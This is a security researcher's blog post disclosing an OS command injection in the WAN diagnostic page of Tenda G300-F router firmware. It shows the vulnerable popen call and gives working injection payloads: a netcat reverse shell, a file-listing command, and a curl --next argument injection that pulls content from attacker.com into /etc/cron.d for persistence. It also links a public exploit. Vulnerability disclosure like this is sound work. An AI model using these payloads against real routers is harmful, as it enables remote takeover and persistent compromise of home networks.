blog.evan.lat (corporate-friendly)

security research & vulnerability analysis — main site at evan.lat. pgp for sensitive stuff: here.

Curl Up and Die: OS Command Injection in the Tenda G300-F WAN Diagnostic Interface (CVE-2026-25857)

Summary: Tenda G300-F router firmware versions 16.01.14.2 and prior contain an OS command injection vulnerability in the WAN diagnostic functionality (formSetWanDiag). The implementation constructs a shell command that invokes curl and incorporates attacker-controlled input into the command line without any neutralization. A remote attacker with access to the management interface can inject shell syntax and execute arbitrary commands with the privileges of the management process.

https://nvd.nist.gov/vuln/detail/CVE-2026-25857


Consumer router vulnerabilities — and honestly, I want to be direct about this — don’t usually require much creativity to find. The right question is rarely whether they exist, but where exactly the developer left the door open this time. It’s not a question of robustness — it’s a question of which specific assumption silently failed. With the Tenda G300-F, I found the tell in the WAN diagnostics page: the feature that lets you run basic connectivity tests from the router’s admin panel. The attack surface here is load-bearing in the most literal sense: it’s connected directly to the shell.

The relevant function is cmd_get_http_code. Let me unpack the IDA decompilation into something you can actually navigate:

int cmd_get_http_code(const char *interface, const char *url, int timeout)
{
    char command_buffer[256];
    FILE *pipe;

    if (!interface || !url)
        return 0;

    snprintf(
        command_buffer,
        256,
        "curl --interface %s --max-time %d -w \"%%{http_code}\" -o /dev/null -skIL %s",
        interface,
        timeout,
        url);

    pipe = popen(command_buffer, "r");
    // ...
}

The problem is impossible to miss — and worth sitting with, because it’s so thoroughly unambiguous. Both interface and url are interpolated directly into a shell command string that gets passed to popen() — which executes it via /bin/sh. There’s no sanitization on either parameter. We control both. A semicolon or backtick in either argument terminates the curl invocation and starts a new command running as whatever user owns the management process. It’s not just an injection point — it’s a seamless, frictionless path to arbitrary execution.

Triggering it is as simple as hitting /goform/setWanDiag with a malicious URL:

url=; nc 192.168.1.67 1234 -e sh

Or for something that doesn’t require a listener:

url=; ls -la /etc/ > /tmp/out.txt

The only prerequisite is access to the management interface, which on many deployed G300-F units is reachable from the LAN and, depending on configuration, quietly accessible from the WAN.


What a “Patch” Probably Won’t Fix

Here’s where it gets interesting — and this is the part worth examining beyond the initial finding. Tenda’s historical approach to patching command injection vulnerabilities is to swap popen for posix_spawn or a wrapper with an argument array, which does neutralize the shell injection. But it doesn’t neutralize the problem, because curl itself provides a second injection surface: the --next flag.

--next allows curl to chain multiple requests in a single invocation. Critically, it also accepts -o to write output to a file path we specify. If the patch allows us to control the URL but restricts shell metacharacters, we can still leverage curl’s own feature set:

url=http://attacker.com/payload --next http://attacker.com/x -o /etc/cron.d/pwn

That writes an attacker-controlled file to an arbitrary path, opening the door to persistence via cron, overwriting startup scripts, or replacing binaries — all without touching a shell metacharacter. It’s not a shell injection anymore — it’s a curl injection. The throughline is the same: attacker-controlled data reaching a privileged write path. The paradigm shift is that the fix people reach for doesn’t actually fix the underlying problem. And honestly? That compounds. Because the second variant is even harder to spot in code review.


Exploit

The exploit is available here: https://github.com/eeeeeeeeeevan/CVE-2026-25857

It supports dropping a file to disk or catching a reverse shell directly. Harness it responsibly.

← back